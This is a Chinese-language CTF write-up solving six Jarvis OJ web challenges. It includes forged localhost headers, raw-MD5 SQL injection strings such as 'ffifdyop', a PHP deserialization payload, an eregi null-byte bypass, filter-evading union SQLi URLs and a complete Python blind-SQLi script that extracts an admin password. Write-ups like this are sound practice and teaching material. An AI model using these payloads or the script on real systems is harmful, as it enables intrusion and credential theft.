1.PORT51
题目要求使用51号端口访问该地址
curl --local-port 51 http://web.jarvisoj.com:32770/
2.LOCALHOST
题目提示只有localhost才能访问,故在请求头中添加:
client-ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
成功获取到flag。
3.Login
burp抓取到响应头部隐藏提示:
Hint: "select * from `admin` where password='".md5($pass,true)."'"
md5($pass,true)
说明返回的是将密码md5加密后的二进制数据。故需要我们找到令加密后数据可以构造出sql注入的明文数据,此处列举一些可行的payload:
明文: 129581926211651571912466741651878684928
md5hex: 06da5430449f8f6f23dfc1276f722738
对应的字符串: ?T0D??o#??’or’8.N=?
明文: ffifdyop
md5hex: 276f722736c95d99e921722cf9ed621c
对应的字符串: ‘or’6蒥欓!r,b
注:由于mysql在进行布尔类型的的比较时会将数字开头的字符串视为数字,所以可以使判断成立。
4.神盾局的秘密
打开题目发现是一张图片,查看响应头部无特殊信息后,尝试分析图片,发现并无异常。查看网页源代码:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
看到这里img
后的base64编码字符串,解码后为shield.jpg
。猜测这里含有文件包含漏洞,且文件名以base64编码形式传入。
包含showimg.php
,查看源码显示:
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
可以看到这里对pctf
进行了过滤。
进一步尝试包含index.php
:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
再包含shield.php
:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
由于showimg.php
对pctf
进行了过滤,所以我们不能简单地直接包含pctf.php
,但是可以注意到index.php
允许我们提交一个class
参数,该参数可以被反序列化为Shield()
对象,然后调用其readfile()
方法。故我们需要做的是为class
参数传入一个序列化后的Shield()
对象,这样经过反序列化后再调用其readfile()
方法,就可以正确读取pctf.php
。
我们可以在本地搭建一个php环境,结合shield.php
,输出序列化后的Shield()
对象:
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$pctf = new Shield("pctf.php");
echo serialize($pctf);
?>
运行的结果为:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
将该结果填入URL:
/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
得到flag。
5.IN A Mess
访问题目链接,查看源码,发现index.phps
,访问。发现里面有php源码,尝试进行分析:
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}
?>
程序接收了id
、a
、b
三个参数。
id
不为0
且id
和0
比较后相等;
a
用来指定打开的文件名,并要求文件内容为1112 is a nice lab!
;
b
的长度要大于5,且和111
拼接后可以匹配1114
,且b
的第一个字符和4
不相等;
id
可以利用php的弱类型比较来绕过。a
可以使用php:\\input
或data:
伪协议来绕过。由于eregi()
受\x00
截断影响,所以b
可以通过\x00
截断绕过。
故可构造URL:
/index.php?id=0e&a=php://input&b=%0044444
数据部分添加:
1112 is a nice lab!
页面返回以下字符串:
<!--index.phps--> Come ON!!! {/^HT2mCpcvOLf}
/^HT2mCpcvOLf
像是一个目录,故尝试访问,经过一系列跳转后到达以下页面:
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=1
看不出有其他异常点,由于含有参数?id=1
,故尝试sql注入。发现输入'
时回显查询字符串,表名为content
,确认考察sql注入。
1.判断注入类型为数字型注入
2.查明过滤字符和关键字,经过测试,发现过滤了select
、union
、from
、空格
,关键字使用双写、大小写绕过,空格
使用/1/绕过。
3.通过union查询来获得content
表的列名:
?id=-1/*1*/uunionnIon/*1*/seunionleCT/*1*/1,2,group_concat(column_name)/*1*/frofromm/*1*/information_schema.columns/*1*/where/*1*/table_name=0x636f6e74656e74%23
这里的表名被16进制编码,是因为直接写表名会报错,原因尚不明确。
查询结果为:
id,context,title
对context
列进行查找:
?id=-1/*1*/uunionnIon/*1*/seunionleCT/*1*/1,2,group_concat(context)/*1*/frofromm/*1*/content%23
查询结果即为flag。
6.Simple Injection
首先对网站进行目录扫描,未发现其他有价值的页面。着手对登录页面进行注入。
发现页面会提示用户名错误和密码错误,判断用户名和密码验证为分步进行。
测试常用用户名,发现合法用户名admin
。
对该用户名进行注入,发现为字符型注入,且闭合符号为'
,'||1#
可顺利绕过用户名验证。
对此位置进行基于bool的盲注。
#!/usr/bin/python3
# -- coding: utf-8 --
import requests
import urllib.parse
URL = "http://web.jarvisoj.com:32787/login.php"
# Fuzz
fObj = open("/root/Desktop/special_char.txt", 'r')
for word in fObj.readlines():
word_ = word.strip()
word = urllib.parse.unquote(word_)
parma = {"username":"'||length('\\"+ word +"')="+ str(len(word)) +"#", "password":"1"}
post = requests.post(url=URL, data=parma)
if post.text.find("密码错误") == -1:
print("%s\tFiltered" % word_)
fObj.close()
fObj = open("/root/Desktop/char_list.txt", 'r')
chrList = fObj.readlines()
fObj.close()
# query = "(database())"
# query = "(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1)"
# query = "(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='admin'/**/limit/**/2,1)"
# id username password
query = "(select/**/password/**/from/**/admin)"
length = 0
for l in range(1,100):
parma = {"username":"'||length("+ query +")="+ str(l) +"#", "password":"1"}
post = requests.post(url=URL, data=parma)
if post.text.find("密码错误") != -1:
length = l
break
print(length)
for l in range(length):
flag = False
for ch in chrList:
ch = ch.strip()
parma = {"username":"'||substr("+ query +","+ str(l+1) +",1)='"+ ch +"'#", "password":"1"}
post = requests.post(url=URL, data=parma)
if post.text.find("密码错误") != -1:
print(ch, end='')
flag = True
break
if not flag:
print("*", end='')
print()
心得:要先对注入点进行测试,判断过滤了哪些特殊字符和关键字,注意对特殊字符进行转义。
持续更新中……